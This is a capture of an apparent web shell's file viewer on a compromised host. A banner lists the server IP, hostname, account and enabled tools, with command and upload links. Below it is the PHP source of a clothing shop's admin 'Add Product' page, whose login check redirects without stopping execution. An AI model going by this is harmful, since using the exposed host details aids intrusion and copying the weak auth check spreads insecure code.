MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/lashadesigns/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/lashadesigns/admin/product.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("includes/config.php");;
 
?>



<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Product Form Elements</title>

  <!-- Google Font: Source Sans Pro -->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
  <!-- Navbar -->
  <?php require "includes/nav.php" ?>
  <!-- /.navbar -->

  <!-- Main Sidebar Container -->
 
  <?php require "includes/sidebar.php" ?>

  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-6">
            <h1>Product</h1>
          </div>
          <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
              <li class="breadcrumb-item"><a href="#">Home</a></li>
              <li class="breadcrumb-item active">Product</li>
            </ol>
          </div>
        </div>
      </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
      <div class="container-fluid">
        <div class="row">
          <!-- left column -->
          <div class="col-md-12">
            <!-- general form elements -->
            <div class="card card-primary">
              <div class="card-header">
                <h3 class="card-title">Add Product</h3>
              </div>
              <!-- /.card-header -->
              <!-- form start -->
              <?php
                  if(isset($_SESSION['status']) && $_SESSION != ''){
                ?>
    
                  <div class="alert alert-warning alert-dismissible fade show" role="alert">
                      <strong>Hey!</strong> <?php echo $_SESSION['status']; ?>
                      <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                  </div>  
                      <?php
                      unset($_SESSION['status']);
                      }
                ?>




              <!-- <form  action="add_product.php" method="post" enctype="multipart/form-data"> -->
              <form id="addProductForm" enctype="multipart/form-data">  
                <div class="card-body">

                    <div class="form-group">
                    <label for="product_sections">Assign to Sections:</label>
                    <div id="sectionCheckboxes">
                        <div class="form-check">
                            <input type="checkbox" name="sec_pro" value="1" id="sectionProducts" class="form-check-input">
                            <label class="form-check-label" for="sectionProducts">Wedding Tales</label>
                        </div>
                        
                        <div class="form-check">
                            <input type="checkbox" name="special_products" value="1" id="sectionHotDeals" class="form-check-input">
                            <label class="form-check-label" for="sectionHotDeals">Best Sellers</label>
                        </div>
                        <!-- <div class="form-check">
                            <input type="checkbox" name="new_release" value="1" id="sectionNewRelease" class="form-check-input">
                            <label class="form-check-label" for="sectionNewRelease">New Release</label>
                        </div> -->
                        <div class="form-check">
                            <input type="checkbox" name="today_deals" value="1" id="sectionNewRelease" class="form-check-input">
                            <label class="form-check-label" for="sectionNewRelease">Today’s Picks</label>
                        </div>
                    </div>
                </div>
                 <div class="row">
                <div class="col-md-6">
                <div class="form-group">
                    <label for="exampleInputPassword1">Product Name</label>
                    <input type="text" class="form-control" id="product_name" name="product_name" placeholder="Enter Name">
                  </div>
                </div>

                  
                  <div class="col-md-6">
                  <div class="form-group">
                      <label for="exampleInputPassword1">sub Category Id</label>
                          <select id="scategory" class="form-control">
                              <option value="" selected disabled>Select Subcategory</option>
                              <?php
                              $query = "SELECT * FROM scategories";
                              $query_run = mysqli_query($conn, $query);
                              if (mysqli_num_rows($query_run) > 0) {
                                  foreach ($query_run as $row) {
                                      echo '<option value="' . $row["id"] . '">' . $row["scat_name"] . '</option>';
                                  }
                              }
                              ?>
                          </select>
                         
                          <div id="selectedSubcategories" class="mt-2 d-flex flex-wrap"></div>
                         
                          <input type="hidden" name="scategory_id" id="selectedSubcategoryIds">
                      </div>
                  </div>
                 </div>


     



                     <!-- <div class="row">
                     <div class="col-md-6">
                     <div class="form-group">
                      <label for="exampleInputPassword1">MRP Price</label>
                      <input type="text" class="form-control" id="dprice" name="dprice" placeholder="Discount Price">
                      </div>
                     </div> -->

                    <div class="col-md-6">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Price</label>
                      <input type="text" class="form-control" id="price" name="price" placeholder="Enter Price">
                    </div>
                    </div>
                     <!-- </div> -->

                    

                  <div class="form-group">
                    <label for="exampleInputPassword1">Short Desc</label>
                    <input type="text" class="form-control" id="s_description" name="s_description" placeholder="Enter Short Description">
                  </div>
                
                
                 <div class="row">
                  <div class="col-md-6">
                  <div class="form-group">
                    <label for="photos">Upload Images (Max 5):</label>
                    <input type="file" name="images[]" id="photos" multiple accept="image/*">
                  </div>
                  </div>

                
                <!-- <div class="col-md-6">
                  <div class="form-group">
                      <label for="colorInput">Enter Colors (comma-separated)</label>
                      <input type="text" id="colorInput" class="form-control" placeholder="Enter colors and press comma">
                      <div id="colorTags" class="mt-2"></div>
                      <input type="hidden" name="colors" id="colorValues">
                  </div>
                </div> -->


                 
                 </div>


                 <div class="row">
                  <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">BRAND</label>
                      <input type="text" class="form-control" id="brand" name="brand" placeholder="Enter Brand">
                    </div>
                  </div>
                  <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">COLLECTION NAME</label>
                      <input type="text" class="form-control" id="collection_name" name="collection_name" placeholder="Enter Collection Name">
                    </div>
                  </div>
                  <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Fabric</label>
                      <input type="text" class="form-control" id="fabric" name="fabric" placeholder="Enter Fabric">
                    </div>
                  </div>

                    <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Embroidery</label>
                      <input type="text" class="form-control" id="embroidery" name="embroidery" placeholder="Enter Embroidery">
                    </div>
                  </div>
                   <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Lining Metirial</label>
                      <input type="text" class="form-control" id="lining" name="lining" placeholder="Enter Lining Metirial">
                    </div>
                  </div>
                  <div class="col-md-3">
                    <div class="form-group">
                      <label for="exampleInputPassword1">SPECIFICATION</label>
                      <input type="text" class="form-control" id="specification" name="specification" placeholder="Enter Specification">
                    </div>
                  </div>
                 </div>

                 <div class="row">
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">Fit</label>
                      <input type="text" class="form-control" id="fit" name="fit" placeholder="Enter Fit">
                    </div>
                  </div>
                  <div class="col-md-4">
                    <div class="form-group">
                      <label for="exampleInputPassword1">MANUFACTURER</label>
                      <input type="text" class="form-control" id="manufacturer" name="manufacturer" placeholder="Enter Manufacturer">
                    </div>
                  </div>

                  <?php
                    // $sizes_list = ['XS', 'S', 'M', 'L', 'XL', 'XXL']; 
                    ?>

                  <?php
                 
                  // $selected_size = $row['size'] ?? '';
                  ?>
                  <!-- <div class="col-md-4">
                    <div class="form-group">
                      <label for="sizeDropdown">Select Size</label>
                    <select id="sizeDropdown" class="form-control">
                      <option value="">-- Select Size --</option>
                      <?php foreach ($sizes_list as $size): ?>
                        <option value="<?= $size ?>"><?= $size ?></option>
                      <?php endforeach; ?>
                    </select>

                    <div id="selectedSizes" class="mt-3"></div>
                    <input type="hidden" name="sizes[]" id="sizesInput">

                    </div>

                  </div> -->
                 </div>


<div class="form-group mt-3">
  <label>Select Sizes</label>
  <div id="sizeCheckboxes">
    <div>
      <input type="checkbox" id="sizeSmall" value="S" name="sizes" />
      <label for="sizeSmall">Small</label>
    </div>
    <div>
      <input type="checkbox" id="sizeMedium" value="M" name="sizes" />
      <label for="sizeMedium">Medium</label>
    </div>
    <div>
      <input type="checkbox" id="sizeLarge" value="L" name="sizes" />
      <label for="sizeLarge">Large</label>
    </div>
    <div>
      <input type="checkbox" id="sizeXL" value="XL" name="sizes" />
      <label for="sizeXL">XL</label>
    </div>
  </div>
</div>

<!-- Price input boxes will be added here -->
<div id="sizePriceInputs" class="mt-3"></div>

<!-- Hidden input -->
<input type="hidden" name="sizes_with_prices" id="sizesWithPricesInput" />




                    <div class="form-group">
                    <label for="exampleInputPassword1">CARE INSTRUCTION</label>
                    <input type="text" class="form-control" id="care_instruction" name="care_instruction" placeholder="CARE INSTRUCTION">
                    <!-- <textarea name="care_instruction" id="option_text_2"  cols="125" rows="5"></textarea> -->
                  </div>

                <div class="form-group">
                    <label for="exampleInputPassword1">Long Desc</label>
                    <textarea name="description" id="option_text_3" cols="125" rows="5"></textarea>

                   
                  </div>

                  <div class="card-footer">
                      <button type="button" id="submitProduct" class="btn btn-primary">Add Product</button>
                  </div>

              </form>
            </div>
            <!-- /.card -->

          </div>
        </div>
      </div>
    </section>
    <!-- /.content -->
  </div>
 

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->

<!-- sub categories start -->
  <link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" />
  <script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script>
  
  
<!-- size Price  -->
 <script>

  const checkboxes = document.querySelectorAll('#sizeCheckboxes input[type="checkbox"]');
  const sizePriceInputs = document.getElementById('sizePriceInputs');
  const hiddenInput = document.getElementById('sizesWithPricesInput');

  checkboxes.forEach(checkbox => {
    checkbox.addEventListener('change', updateSizeInputs);
  });

  function updateSizeInputs() {
    sizePriceInputs.innerHTML = ''; // Clear previous inputs
    let sizesWithPrices = [];

    checkboxes.forEach(checkbox => {
      if (checkbox.checked) {
        const size = checkbox.value;
        const inputId = `price_${size}`;

        sizePriceInputs.innerHTML += `
          <div class="form-group">
            <label>Price for ${size}</label>
            <input type="number" name="price_${size}" id="${inputId}" class="form-control price-input" data-size="${size}" required>
          </div>
        `;
      }
    });

    // Update hidden input every time price input changes
    setTimeout(() => {
      document.querySelectorAll('.price-input').forEach(input => {
        input.addEventListener('input', () => {
          const updated = [];
          document.querySelectorAll('.price-input').forEach(i => {
            updated.push({
              size: i.getAttribute('data-size'),
              price: i.value || '0'
            });
          });
          hiddenInput.value = JSON.stringify(updated);
        });
      });
    }, 100); // Delay to ensure new inputs are in DOM
  }
</script>

<!-- size Price -->


<script>
document.addEventListener('DOMContentLoaded', function () {
  const dropdown = document.getElementById('sizeDropdown');
  const selectedDiv = document.getElementById('selectedSizes');
  const sizesInput = document.getElementById('sizesInput');
  let selectedSizes = [];

  dropdown.addEventListener('change', function () {
    const value = this.value;
    if (value && !selectedSizes.includes(value)) {
      selectedSizes.push(value);
      updateSelectedSizes();
    }
    dropdown.value = ""; // reset dropdown to default
  });

  function updateSelectedSizes() {
    selectedDiv.innerHTML = '';
    selectedSizes.forEach(size => {
      const tag = document.createElement('span');
      tag.className = 'badge badge-success m-1';
      tag.textContent = size;

      const closeBtn = document.createElement('span');
      closeBtn.textContent = ' ×';
      closeBtn.style.cursor = 'pointer';
      closeBtn.style.marginLeft = '5px';
      closeBtn.onclick = () => {
        selectedSizes = selectedSizes.filter(s => s !== size);
        updateSelectedSizes();
      };

      tag.appendChild(closeBtn);
      selectedDiv.appendChild(tag);
    });

    sizesInput.value = selectedSizes.join(',');
  }
});
</script>


  <script>
    const scategoryDropdown = document.getElementById("scategory");
    const selectedBox = document.getElementById("selectedSubcategories");
    const selectedInput = document.getElementById("selectedSubcategoryIds");

    let selectedIds = [];

    scategoryDropdown.addEventListener("change", function () {
        const selectedOption = this.options[this.selectedIndex];
        const id = selectedOption.value;
        const name = selectedOption.text;

        if (!selectedIds.includes(id)) {
            selectedIds.push(id);

            // Create tag element
            const tag = document.createElement("div");
            tag.classList.add("badge", "bg-primary", "m-1");
            tag.textContent = name;

            // Add remove button
            const removeBtn = document.createElement("span");
            removeBtn.textContent = " ×";
            removeBtn.style.cursor = "pointer";
            removeBtn.style.marginLeft = "5px";
            removeBtn.onclick = function () {
                tag.remove();
                selectedIds = selectedIds.filter(item => item !== id);
                selectedInput.value = selectedIds.join(",");
                scategoryDropdown.querySelector(`option[value="${id}"]`).disabled = false;
            };

            tag.appendChild(removeBtn);
            selectedBox.appendChild(tag);

            // Update hidden input
            selectedInput.value = selectedIds.join(",");

            // Disable selected option in dropdown
            selectedOption.disabled = true;

            // Reset dropdown
            scategoryDropdown.value = "";
        }
    });
</script>
<!-- sub categories end -->

<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
   $(document).ready(function () {
    $('#submitProduct').on('click', function (e) {
        e.preventDefault();

        // Update CKEditor instances
        for (var instanceName in CKEDITOR.instances) {
            CKEDITOR.instances[instanceName].updateElement();
        }

        // Get form data
        var formData = new FormData($('#addProductForm')[0]);

        // Send data via AJAX
        $.ajax({
            url: 'add_product.php',
            type: 'POST',
            data: formData,
            processData: false, // Required for FormData
            contentType: false, // Required for FormData
            success: function (response) {
                // Handle success response
                if (response.trim() === 'success') { // Assuming 'success' is returned on success
                    alert('Product added successfully!');
                    window.location.href = 'view-product.php'; // Redirect to the desired page
                } else {
                    alert('Error: ' + response);
                }
            },
            error: function (xhr, status, error) {
                // Handle error response
                alert('An error occurred: ' + error);
                console.log(xhr.responseText);
            }
        });
    });
});

</script>

<!-- color start -->
<script>
    document.addEventListener("DOMContentLoaded", function () {
        const colorInput = document.getElementById("colorInput");
        const colorTags = document.getElementById("colorTags");
        const colorValues = document.getElementById("colorValues");

        let selectedColors = [];

        colorInput.addEventListener("keydown", function (event) {
            if (event.key === "," || event.key === "Enter") {
                event.preventDefault();
                let color = colorInput.value.trim().replace(",", "");
                if (color && !selectedColors.includes(color)) {
                    selectedColors.push(color);
                    updateTags();
                }
                colorInput.value = "";
            }
        });

        function updateTags() {
            colorTags.innerHTML = "";
            selectedColors.forEach((color, index) => {
                let tag = document.createElement("span");
                tag.className = "badge bg-primary m-1 p-2";
                tag.innerHTML = `${color} <span class="ms-2 text-white cursor-pointer" onclick="removeColor(${index})">&times;</span>`;
                colorTags.appendChild(tag);
            });
            colorValues.value = selectedColors.join(",");
        }

        window.removeColor = function (index) {
            selectedColors.splice(index, 1);
            updateTags();
        };
    });
</script>

<!-- color end -->





<script src="plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- bs-custom-file-input -->
<script src="plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js"></script>
<!-- Page specific script -->
<script>
$(function () {
  bsCustomFileInput.init();
});
</script>
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>

 <script>
CKEDITOR.replace('option_text_1');
CKEDITOR.replace('option_text_2');
CKEDITOR.replace('option_text_3');
</script>
</body>
</html>


<script>
    // JavaScript for Adding More Color Fields
    document.addEventListener('DOMContentLoaded', function () {
        document.querySelector('#colorFields').addEventListener('click', function (e) {
            if (e.target && e.target.classList.contains('add-more-color')) {
                const newField = document.createElement('div');
                newField.className = 'input-group mb-2';
                newField.innerHTML = `
                    <input type="text" name="colors[]" class="form-control" placeholder="Enter Color">
                    <button type="button" class="btn btn-danger remove-color">Remove</button>
                `;
                e.target.closest('#colorFields').appendChild(newField);
            }
            if (e.target && e.target.classList.contains('remove-color')) {
                e.target.closest('.input-group').remove();
            }
        });
    });
</script>

MMCT - 2023